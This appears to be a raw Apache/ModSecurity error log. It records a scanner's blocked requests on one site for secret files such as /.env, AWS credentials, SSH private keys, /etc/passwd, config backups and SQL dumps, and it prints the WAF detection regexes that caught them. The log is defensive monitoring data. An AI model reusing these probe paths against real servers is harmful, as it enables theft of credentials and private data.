[access_compat:error] [pid 531797:tid 531873] [remote 57.141.14.90:35380] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:35.742883 2026] [access_compat:error] [pid 531797:tid 531873] [remote 57.141.14.90:35380] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:35.916037 2026] [access_compat:error] [pid 531155:tid 531265] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:12:35.916324 2026] [access_compat:error] [pid 531155:tid 531265] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:12:35.925272 2026] [security2:error] [pid 531797:tid 532051] [client 103.153.183.69:12586] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "smartagrico.com"] [uri "/wp-config.php.bak"] [unique_id "ai3x88TA7b1mZrmcA-83gQAAAkk"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.926287 2026] [security2:error] [pid 531797:tid 532108] [client 103.153.183.69:12454] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3x88TA7b1mZrmcA-83gwAAAoE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.926540 2026] [security2:error] [pid 531797:tid 532102] [client 103.153.183.69:12494] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/.aws/credentials"] [unique_id "ai3x88TA7b1mZrmcA-83hAAAAns"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.927498 2026] [security2:error] [pid 531797:tid 532085] [client 103.153.183.69:12708] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/etc/passwd"] [unique_id "ai3x88TA7b1mZrmcA-83hQAAAms"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.927831 2026] [security2:error] [pid 531797:tid 532103] [client 103.153.183.69:12766] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3x88TA7b1mZrmcA-83iAAAAnw"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.928007 2026] [security2:error] [pid 531797:tid 532035] [client 103.153.183.69:12648] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/phpinfo.php"] [unique_id "ai3x88TA7b1mZrmcA-83igAAAjo"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.928005 2026] [security2:error] [pid 531155:tid 531307] [client 103.153.183.69:12808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3x8ymiP80klyS0NnoEiwAAASA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.928439 2026] [security2:error] [pid 531797:tid 532101] [client 103.153.183.69:12762] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3x88TA7b1mZrmcA-83iQAAAno"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.930129 2026] [security2:error] [pid 531797:tid 531999] [client 103.153.183.69:12636] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/backup.sql"] [unique_id "ai3x88TA7b1mZrmcA-83hwAAAhc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.953665 2026] [security2:error] [pid 531797:tid 532053] [client 103.153.183.69:12762] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "smartagrico.com"] [uri "/./wp-config.php.bak"] [unique_id "ai3x88TA7b1mZrmcA-83jwAAAks"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.955305 2026] [security2:error] [pid 531797:tid 532049] [client 103.153.183.69:12636] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/.ssh/id_rsa"] [unique_id "ai3x88TA7b1mZrmcA-83kAAAAkc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.955407 2026] [security2:error] [pid 531797:tid 532025] [client 103.153.183.69:12708] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3x88TA7b1mZrmcA-83jgAAAjE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.955777 2026] [security2:error] [pid 531155:tid 531344] [client 103.153.183.69:12808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3x8ymiP80klyS0NnoEjAAAAUU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.978456 2026] [security2:error] [pid 531797:tid 532097] [client 103.153.183.69:12900] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/.aws/./credentials"] [unique_id "ai3x88TA7b1mZrmcA-83kgAAAnY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.979632 2026] [security2:error] [pid 531797:tid 532099] [client 103.153.183.69:12846] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/.git/config"] [unique_id "ai3x88TA7b1mZrmcA-83kwAAAng"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.980447 2026] [security2:error] [pid 531797:tid 532007] [client 103.153.183.69:12708] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/info.php"] [unique_id "ai3x88TA7b1mZrmcA-83lQAAAh8"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.981224 2026] [security2:error] [pid 531797:tid 532121] [client 103.153.183.69:12872] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3x88TA7b1mZrmcA-83lAAAAo0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.982811 2026] [security2:error] [pid 531155:tid 531367] [client 103.153.183.69:12808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/backup.sql"] [unique_id "ai3x8ymiP80klyS0NnoEjwAAAVw"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.984784 2026] [security2:error] [pid 531155:tid 531347] [client 103.153.183.69:12894] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/etc/nginx/nginx.conf"] [unique_id "ai3x8ymiP80klyS0NnoEjgAAAUg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.986302 2026] [security2:error] [pid 531797:tid 532014] [client 103.153.183.69:12880] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3x88TA7b1mZrmcA-83kQAAAiY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.986852 2026] [security2:error] [pid 531797:tid 532045] [client 103.153.183.69:12848] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3x88TA7b1mZrmcA-83lgAAAkQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.005368 2026] [security2:error] [pid 531155:tid 531349] [client 103.153.183.69:12906] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/./.env"] [unique_id "ai3x9CmiP80klyS0NnoEkgAAAUo"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.006152 2026] [security2:error] [pid 531797:tid 532003] [client 103.153.183.69:12962] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "smartagrico.com"] [uri "/wp-config.php.bak"] [unique_id "ai3x9MTA7b1mZrmcA-83nQAAAhs"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.007147 2026] [security2:error] [pid 531797:tid 532059] [client 103.153.183.69:12924] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3x9MTA7b1mZrmcA-83mgAAAlE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.007768 2026] [security2:error] [pid 531797:tid 532069] [client 103.153.183.69:13024] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3x9MTA7b1mZrmcA-83mwAAAls"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.008543 2026] [security2:error] [pid 531155:tid 531321] [client 103.153.183.69:12808] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/test.php"] [unique_id "ai3x9CmiP80klyS0NnoEkwAAAS4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.009497 2026] [access_compat:error] [pid 531797:tid 531914] [remote 57.141.14.72:47081] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:36.009604 2026] [security2:error] [pid 531155:tid 531320] [client 103.153.183.69:12994] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/backup.sql"] [unique_id "ai3x9CmiP80klyS0NnoElQAAAS0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.009647 2026] [security2:error] [pid 531797:tid 532033] [client 103.153.183.69:12972] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:id_(?:r|d)sa$|key\\\\.pem$|(?:myserver|private-?key)\\\\.key$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1291"] [id "350591"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw Private cryto keys"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.ssh/id_rsa"] [unique_id "ai3x9MTA7b1mZrmcA-83ngAAAjg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.010023 2026] [access_compat:error] [pid 531797:tid 531914] [remote 57.141.14.72:47081] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:36.010179 2026] [security2:error] [pid 531797:tid 532061] [client 103.153.183.69:12936] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3x9MTA7b1mZrmcA-83nwAAAlM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.010929 2026] [security2:error] [pid 531155:tid 531303] [client 103.153.183.69:12894] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3x9CmiP80klyS0NnoElgAAARw"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.012170 2026] [security2:error] [pid 531797:tid 532124] [client 103.153.183.69:13032] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3x9MTA7b1mZrmcA-83oAAAAo8"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.012545 2026] [security2:error] [pid 531797:tid 532076] [client 103.153.183.69:12848] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3x9MTA7b1mZrmcA-83oQAAAmI"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.032730 2026] [security2:error] [pid 531797:tid 532127] [client 103.153.183.69:13070] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/%2Fwp-config.php.bak"] [unique_id "ai3x9MTA7b1mZrmcA-83pAAAApI"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.034136 2026] [security2:error] [pid 531797:tid 532112] [client 103.153.183.69:12552] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/php.php"] [unique_id "ai3x9MTA7b1mZrmcA-83pwAAAoU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.034256 2026] [security2:error] [pid 531797:tid 532107] [client 103.153.183.69:12408] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/actuator/prometheus"] [unique_id "ai3x9MTA7b1mZrmcA-83qAAAAoA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.035224 2026] [security2:error] [pid 531797:tid 532083] [client 103.153.183.69:13024] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3x9MTA7b1mZrmcA-83pgAAAmk"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.035617 2026] [security2:error] [pid 531797:tid 532022] [client 103.153.183.69:13040] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3x9MTA7b1mZrmcA-83owAAAi4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.036148 2026] [security2:error] [pid 531797:tid 532082] [client 103.153.183.69:12924] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3x9MTA7b1mZrmcA-83pQAAAmg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.036721 2026] [security2:error] [pid 531797:tid 532128] [client 103.153.183.69:12774] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/wp-config.php"] [unique_id "ai3x9MTA7b1mZrmcA-83rAAAApM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.037092 2026] [security2:error] [pid 531797:tid 532044] [client 103.153.183.69:12972] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:id_(?:r|d)sa$|key\\\\.pem$|(?:myserver|private-?key)\\\\.key$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1291"] [id "350591"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw Private cryto keys"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.ssh/id_rsa"] [unique_id "ai3x9MTA7b1mZrmcA-83qQAAAkM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.037451 2026] [security2:error] [pid 531797:tid 532072] [client 103.153.183.69:12848] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/%2F.env"] [unique_id "ai3x9MTA7b1mZrmcA-83rgAAAl4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:36.058581 2026] [security2:error] [pid 531797:tid 532089] [client 103.153.183.69:13114] 